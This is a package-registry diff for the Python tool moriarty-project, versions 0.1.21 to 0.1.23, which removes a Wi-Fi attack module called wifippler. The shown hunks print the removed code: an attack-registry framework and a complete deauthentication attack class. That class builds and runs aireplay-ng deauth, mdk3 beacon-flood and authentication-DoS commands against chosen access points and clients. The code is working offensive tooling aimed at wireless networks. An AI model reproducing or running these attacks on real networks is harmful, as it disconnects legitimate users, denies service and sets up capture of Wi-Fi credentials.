moriarty-project 0.1.21__py3-none-any.whl → 0.1.23__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (26) hide show
  1. moriarty/__init__.py +1 -1
  2. moriarty/cli/app.py +5 -6
  3. moriarty/modules/port_scanner.py +1 -5
  4. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/METADATA +36 -49
  5. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/RECORD +7 -26
  6. moriarty/cli/wifippler.py +0 -124
  7. moriarty/modules/wifippler/__init__.py +0 -92
  8. moriarty/modules/wifippler/cli/__init__.py +0 -8
  9. moriarty/modules/wifippler/cli/commands.py +0 -123
  10. moriarty/modules/wifippler/core/__init__.py +0 -94
  11. moriarty/modules/wifippler/core/attacks/__init__.py +0 -146
  12. moriarty/modules/wifippler/core/attacks/deauth.py +0 -262
  13. moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
  14. moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
  15. moriarty/modules/wifippler/core/attacks/wep.py +0 -467
  16. moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
  17. moriarty/modules/wifippler/core/attacks/wps.py +0 -474
  18. moriarty/modules/wifippler/core/models/__init__.py +0 -10
  19. moriarty/modules/wifippler/core/models/network.py +0 -216
  20. moriarty/modules/wifippler/core/scanner.py +0 -901
  21. moriarty/modules/wifippler/core/utils/__init__.py +0 -636
  22. moriarty/modules/wifippler/core/utils/exec.py +0 -182
  23. moriarty/modules/wifippler/core/utils/network.py +0 -223
  24. moriarty/modules/wifippler/core/utils/system.py +0 -153
  25. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/WHEEL +0 -0
  26. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/entry_points.txt +0 -0
@@ -1,94 +0,0 @@
1
- """
2
- Módulo principal do WiFiPPLER.
3
-
4
- Este pacote contém a funcionalidade central da ferramenta WiFiPPLER,
5
- incluindo escaneamento de rede, análise de pacotes e módulos de ataque.
6
- """
7
-
8
- # Importações principais
9
- from .scanner import WiFiScanner
10
-
11
- # Sistema de registro de ataques
12
- from .attacks import (
13
- Attack,
14
- register_attack,
15
- get_attack,
16
- list_attacks,
17
-
18
- # Ataques padrão
19
- WPSAttack,
20
- WPAHandshakeAttack,
21
- PMKIDAttack,
22
- WEPAttack,
23
- DeauthAttack,
24
- HandshakeCapture
25
- )
26
-
27
- # Importar apenas o necessário do módulo utils
28
- from .utils import (
29
- # Funções básicas
30
- is_root,
31
- check_dependencies,
32
-
33
- # Funções de rede
34
- get_network_interfaces,
35
- get_wireless_interfaces,
36
- get_monitor_interfaces,
37
-
38
- # Controle de modo monitor
39
- set_monitor_mode,
40
- restore_network_interface,
41
- start_monitor_mode,
42
- stop_monitor_mode,
43
-
44
- # Funções de interface
45
- get_interface_mac,
46
- get_interface_ip,
47
- get_interface_netmask,
48
- get_interface_gateway,
49
- is_wireless_interface,
50
-
51
- # Utilitários de linha de comando
52
- run_command,
53
- run_command_async,
54
- command_exists,
55
- )
56
-
57
- # Exportar apenas a API pública
58
- __all__ = [
59
- # Scanner
60
- 'WiFiScanner',
61
-
62
- # Sistema de ataques
63
- 'Attack',
64
- 'register_attack',
65
- 'get_attack',
66
- 'list_attacks',
67
-
68
- # Ataques
69
- 'WPSAttack',
70
- 'WPAHandshakeAttack',
71
- 'PMKIDAttack',
72
- 'WEPAttack',
73
- 'DeauthAttack',
74
- 'HandshakeCapture',
75
-
76
- # Funções de utilidade
77
- 'is_root',
78
- 'check_dependencies',
79
- 'get_network_interfaces',
80
- 'get_wireless_interfaces',
81
- 'get_monitor_interfaces',
82
- 'set_monitor_mode',
83
- 'restore_network_interface',
84
- 'start_monitor_mode',
85
- 'stop_monitor_mode',
86
- 'get_interface_mac',
87
- 'get_interface_ip',
88
- 'get_interface_netmask',
89
- 'get_interface_gateway',
90
- 'is_wireless_interface',
91
- 'run_command',
92
- 'run_command_async',
93
- 'command_exists',
94
- ]
@@ -1,146 +0,0 @@
1
- """
2
- Módulo de Ataques do WiFiPPLER.
3
-
4
- Implementa um sistema de registro de ataques para permitir descoberta dinâmica
5
- e execução de diferentes tipos de ataques de segurança WiFi.
6
-
7
- Este módulo utiliza o padrão de registro para permitir que novos ataques sejam
8
- facilmente adicionados ao sistema sem modificar o código existente.
9
-
10
- Exemplo de uso:
11
- >>> # Registrar um novo tipo de ataque
12
- >>> @register_attack
13
- >>> class MeuAtaque:
14
- ... name = "meu_ataque"
15
- ... description = "Descrição do meu ataque personalizado"
16
- ...
17
- ... def run(self, *, iface: str, target: Optional[str] = None, **kwargs):
18
- ... # Implementação do ataque
19
- ... pass
20
-
21
- >>> # Obter um ataque pelo nome
22
- >>> ataque_cls = get_attack("meu_ataque")
23
- >>> if ataque_cls:
24
- ... ataque = ataque_cls()
25
- ... ataque.run(iface="wlan0", target="00:11:22:33:44:55")
26
- """
27
- from typing import Dict, Type, Protocol, Optional, Any, TypeVar
28
-
29
- # Tipo genérico para a classe Attack
30
- T = TypeVar('T', bound='Attack')
31
-
32
- class Attack(Protocol):
33
- """Protocolo que define a interface para todos os ataques.
34
-
35
- Para criar um novo ataque, crie uma classe que implemente este protocolo
36
- e use o decorador @register_attack para registrá-lo.
37
- """
38
- # Nome único do ataque (deve ser um identificador em minúsculas com underscores)
39
- name: str
40
-
41
- # Descrição do ataque (aparecerá na lista de ataques disponíveis)
42
- description: str = ""
43
-
44
- def run(self, *, iface: str, target: Optional[str] = None, **kwargs: Any) -> None:
45
- """Executa o ataque.
46
-
47
- Args:
48
- iface: Interface de rede a ser usada (ex: 'wlan0')
49
- target: Alvo do ataque (opcional, pode ser um endereço MAC, BSSID, etc.)
50
- **kwargs: Argumentos adicionais específicos do ataque
51
-
52
- Raises:
53
- Exception: Se ocorrer um erro durante a execução do ataque
54
- """
55
- ...
56
-
57
- # Registro global de ataques
58
- REGISTRY: Dict[str, Type[Attack]] = {}
59
-
60
- def register_attack(attack_cls: Type[T]) -> Type[T]:
61
- """Decorador para registrar uma classe de ataque.
62
-
63
- Exemplo:
64
- >>> @register_attack
65
- >>> class MeuAtaque:
66
- ... name = "meu_ataque"
67
- ... description = "Descrição do meu ataque"
68
- ... def run(self, *, iface: str, **kwargs):
69
- ... pass
70
-
71
- Args:
72
- attack_cls: Classe de ataque a ser registrada. Deve implementar o protocolo Attack.
73
-
74
- Returns:
75
- A própria classe de ataque, permitindo uso como decorador
76
-
77
- Raises:
78
- ValueError: Se o nome do ataque já estiver registrado
79
- """
80
- if not hasattr(attack_cls, 'name') or not attack_cls.name:
81
- raise ValueError(f"A classe {attack_cls.__name__} deve definir um atributo 'name'")
82
-
83
- if attack_cls.name in REGISTRY:
84
- raise ValueError(f"Já existe um ataque registrado com o nome '{attack_cls.name}'")
85
-
86
- REGISTRY[attack_cls.name] = attack_cls
87
- return attack_cls
88
-
89
- def get_attack(name: str) -> Optional[Type[Attack]]:
90
- """Obtém uma classe de ataque pelo nome.
91
-
92
- Args:
93
- name: Nome do ataque a ser recuperado (case-sensitive)
94
-
95
- Returns:
96
- A classe de ataque correspondente ou None se não encontrado
97
-
98
- Example:
99
- >>> ataque_cls = get_attack("deauth")
100
- >>> if ataque_cls:
101
- ... ataque = ataque_cls()
102
- ... ataque.run(iface="wlan0", target="00:11:22:33:44:55")
103
- """
104
- return REGISTRY.get(name)
105
-
106
- def list_attacks() -> Dict[str, str]:
107
- """Lista todos os ataques registrados.
108
-
109
- Returns:
110
- Dicionário onde as chaves são os nomes dos ataques e os valores são suas descrições
111
-
112
- Example:
113
- >>> for nome, descricao in list_attacks().items():
114
- ... print(f"{nome}: {descricao}")
115
- """
116
- return {name: cls.description for name, cls in REGISTRY.items()}
117
-
118
- # Importa os módulos de ataque para registrar as classes automaticamente
119
- # A ordem de importação é importante para evitar importações circulares
120
- from .deauth import DeauthAttack
121
- from .handshake import HandshakeCapture
122
- from .pmkid import PMKIDAttack
123
- from .wep import WEPAttack
124
- from .wpa import WPAHandshakeAttack
125
- from .wps import WPSAttack
126
-
127
- # Exporta a API pública
128
- __all__ = [
129
- # Interface e registro
130
- 'Attack',
131
- 'register_attack', # Alias para register para melhor clareza
132
- 'get_attack',
133
- 'list_attacks',
134
- 'register', # Mantido para compatibilidade
135
-
136
- # Ataques específicos
137
- 'DeauthAttack',
138
- 'HandshakeCapture',
139
- 'PMKIDAttack',
140
- 'WEPAttack',
141
- 'WPAHandshakeAttack',
142
- 'WPSAttack',
143
-
144
- # Registro interno (exposto apenas para testes)
145
- 'REGISTRY',
146
- ]
@@ -1,262 +0,0 @@
1
- """
2
- Módulo de ataque de desautenticação.
3
-
4
- Este módulo implementa ataques de desautenticação contra redes WiFi, permitindo:
5
- - Desautenticar clientes específicos
6
- - Desautenticar todos os clientes de uma rede
7
- - Enviar pacotes de desautenticação em massa
8
- - Realizar ataques Beacon Flood
9
- - Realizar ataques de desautenticação direcionados
10
- """
11
- import os
12
- import re
13
- import time
14
- import logging
15
- import subprocess
16
- import tempfile
17
- from typing import Optional, Dict, List, Tuple, Any, Callable, Union
18
- from dataclasses import dataclass, field
19
- from enum import Enum, auto
20
-
21
- from rich.console import Console
22
- from rich.progress import Progress, SpinnerColumn, TextColumn
23
-
24
- from ...core.models.network import WiFiNetwork, WiFiClient
25
- from ...core.utils import (
26
- is_root, check_dependencies, get_network_interfaces,
27
- set_monitor_mode, restore_network_interface, command_exists,
28
- get_interface_mac
29
- )
30
-
31
- # Importa o decorador de registro de ataques
32
- from . import register_attack
33
-
34
- # Configuração de logging
35
- logging.basicConfig(level=logging.INFO)
36
- logger = logging.getLogger(__name__)
37
- console = Console()
38
-
39
- class DeauthAttackType(Enum):
40
- """Tipos de ataque de desautenticação."""
41
- DEAUTH = auto() # Desautenticação padrão
42
- AUTH = auto() # Pacotes de autenticação
43
- BEACON = auto() # Beacon flood
44
- DISASSOC = auto() # Desassociação
45
- PROBE_RESP = auto() # Resposta a sondas
46
- AUTH_DOS = auto() # Negação de serviço por autenticação
47
- DEAUTH_BROADCAST = auto() # Desautenticação em broadcast
48
- DEAUTH_MULTICAST = auto() # Desautenticação em multicast
49
- DEAUTH_DIRECTED = auto() # Desautenticação direcionada
50
-
51
- class DeauthEventType(Enum):
52
- """Tipos de eventos do ataque de desautenticação."""
53
- START = auto()
54
- PACKET_SENT = auto()
55
- CLIENT_DISCONNECTED = auto()
56
- ERROR = auto()
57
- COMPLETE = auto()
58
- STATUS = auto()
59
-
60
- @dataclass
61
- class DeauthEvent:
62
- """Evento de progresso do ataque de desautenticação."""
63
- type: DeauthAttackType
64
- message: str = ""
65
- data: Dict[str, Any] = field(default_factory=dict)
66
-
67
- @register_attack
68
- class DeauthAttack:
69
- """
70
- Ataque de desautenticação WiFi.
71
-
72
- Este ataque envia pacotes de desautenticação para desconectar clientes de uma rede WiFi.
73
- Pode ser direcionado a um cliente específico ou a todos os clientes de uma rede.
74
- """
75
-
76
- # Metadados do ataque
77
- name = "deauth"
78
- description = "Ataque de desautenticação WiFi para desconectar clientes de uma rede"
79
-
80
- def __init__(self):
81
- """Inicializa o ataque de desautenticação."""
82
- self.interface = None
83
- self.deauth_type = None
84
- self.is_running = False
85
- self.stop_requested = False
86
- self.packets_sent = 0
87
- self.process = None
88
- self._check_dependencies()
89
-
90
- def _check_dependencies(self) -> None:
91
- """Verifica se todas as dependências necessárias estão instaladas."""
92
- required = ['aireplay-ng', 'mdk4', 'mdk3', 'iwconfig', 'ifconfig']
93
- missing = [cmd for cmd in required if not command_exists(cmd)]
94
-
95
- if missing:
96
- raise RuntimeError(
97
- f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
98
- "Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
99
- )
100
-
101
- def run(self, *, iface: str, target: Optional[str] = None, **kwargs) -> bool:
102
- """
103
- Executa o ataque de desautenticação.
104
-
105
- Args:
106
- iface: Interface de rede a ser usada
107
- target: Endereço MAC do alvo (pode ser um cliente ou AP)
108
- **kwargs: Argumentos adicionais:
109
- - bssid: Endereço MAC do ponto de acesso (obrigatório se target for um cliente)
110
- - client_mac: Endereço MAC do cliente (opcional, None para broadcast)
111
- - count: Número de pacotes a enviar (0 para contínuo, padrão: 0)
112
- - delay: Atraso entre pacotes em ms (padrão: 100)
113
- - reason: Código de motivo (padrão: 7)
114
- - channel: Canal da rede (opcional, tenta detectar)
115
- - deauth_type: Tipo de ataque (padrão: DEAUTH)
116
- """
117
- self.interface = iface
118
- bssid = target or kwargs.get('bssid')
119
- client_mac = kwargs.get('client_mac')
120
- count = kwargs.get('count', 0)
121
- delay = kwargs.get('delay', 100)
122
- reason = kwargs.get('reason', 7)
123
- channel = kwargs.get('channel')
124
- deauth_type = kwargs.get('deauth_type', 'DEAUTH')
125
-
126
- # Configura o tipo de ataque
127
- self.deauth_type = DeauthAttackType[deauth_type.upper()] if isinstance(deauth_type, str) else deauth_type
128
-
129
- # Função de callback padrão
130
- def default_callback(event):
131
- if event.type == DeauthEventType.INFO:
132
- logger.info(event.message)
133
- elif event.type == DeauthEventType.ERROR:
134
- logger.error(event.message)
135
-
136
- callback = kwargs.get('callback', default_callback)
137
-
138
- def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
139
- if callback:
140
- event = DeauthEvent(type=event_type, message=message, data=kwargs)
141
- callback(event)
142
-
143
- try:
144
- # Verifica privilégios
145
- if not is_root():
146
- raise PermissionError("Este ataque requer privilégios de root")
147
-
148
- # Define o canal, se especificado
149
- if channel:
150
- self._set_channel(channel)
151
-
152
- # Prepara o comando com base no tipo de ataque
153
- if self.deauth_type == DeauthAttackType.BEACON:
154
- cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
155
- elif self.deauth_type == DeauthAttackType.AUTH_DOS:
156
- cmd = self._prepare_auth_dos(bssid)
157
- else: # Desautenticação padrão
158
- cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
159
-
160
- event_handler(DeauthEventType.START, f"Iniciando ataque {self.deauth_type.name}...")
161
-
162
- # Executa o comando em segundo plano
163
- self.process = subprocess.Popen(
164
- cmd,
165
- stdout=subprocess.PIPE,
166
- stderr=subprocess.STDOUT,
167
- universal_newlines=True
168
- )
169
-
170
- # Monitora a saída
171
- start_time = time.time()
172
- self.is_running = True
173
-
174
- while True:
175
- # Verifica se foi solicitado para parar
176
- if self.stop_requested:
177
- self._stop_process()
178
- event_handler(DeauthEventType.COMPLETE, "Ataque interrompido pelo usuário")
179
- return True
180
-
181
- # Verifica se o processo ainda está em execução
182
- if self.process.poll() is not None:
183
- break
184
-
185
- # Lê a saída
186
- line = self.process.stdout.readline()
187
- if line:
188
- # Conta os pacotes enviados
189
- if "DeAuth" in line or "Sent" in line:
190
- self.packets_sent += 1
191
- event_handler(
192
- DeauthEventType.PACKET_SENT,
193
- f"Pacote {self.packets_sent} enviado",
194
- packets_sent=self.packets_sent
195
- )
196
-
197
- # Verifica se um cliente foi desconectado
198
- if "deauth" in line.lower() or "disassoc" in line.lower():
199
- event_handler(
200
- DeauthEventType.CLIENT_DISCONNECTED,
201
- f"Cliente {client_mac or 'broadcast'} desconectado",
202
- client_mac=client_mac,
203
- bssid=bssid
204
- )
205
-
206
- # Aguarda um pouco antes da próxima verificação
207
- time.sleep(0.1)
208
-
209
- event_handler(DeauthEventType.COMPLETE, "Ataque concluído")
210
- return True
211
-
212
- except Exception as e:
213
- event_handler(DeauthEventType.ERROR, f"Erro durante o ataque: {str(e)}")
214
- return False
215
- finally:
216
- self.is_running = False
217
-
218
- def _set_channel(self, channel: int) -> None:
219
- """Define o canal da interface de rede."""
220
- try:
221
- subprocess.run(
222
- ["iwconfig", self.interface, "channel", str(channel)],
223
- check=True,
224
- capture_output=True
225
- )
226
- except subprocess.CalledProcessError as e:
227
- raise RuntimeError(f"Falha ao definir o canal {channel}: {e.stderr}")
228
-
229
- def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
230
- count: int = 0, delay: int = 100,
231
- reason: int = 7) -> List[str]:
232
- """Prepara o comando para desautenticação padrão."""
233
- cmd = ["aireplay-ng", "--deauth", str(count) if count > 0 else "0",
234
- "-a", bssid, "-D", str(delay), "--ignore-negative-one"]
235
-
236
- if client_mac:
237
- cmd.extend(["-c", client_mac])
238
-
239
- cmd.append(self.interface)
240
- return cmd
241
-
242
- def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
243
- """Prepara o comando para ataque de Beacon Flood."""
244
- return ["mdk3", self.interface, "b", "-n", essid, "-c", "1", "-s", "100"]
245
-
246
- def _prepare_auth_dos(self, bssid: str) -> List[str]:
247
- """Prepara o comando para ataque de negação de serviço por autenticação."""
248
- return ["mdk3", self.interface, "a", "-a", bssid, "-m"]
249
-
250
- def _stop_process(self) -> None:
251
- """Para o processo em execução."""
252
- if self.process and self.process.poll() is None:
253
- self.process.terminate()
254
- try:
255
- self.process.wait(timeout=5)
256
- except subprocess.TimeoutExpired:
257
- self.process.kill()
258
-
259
- def stop(self) -> None:
260
- """Solicita a interrupção do ataque."""
261
- self.stop_requested = True
262
- self._stop_process()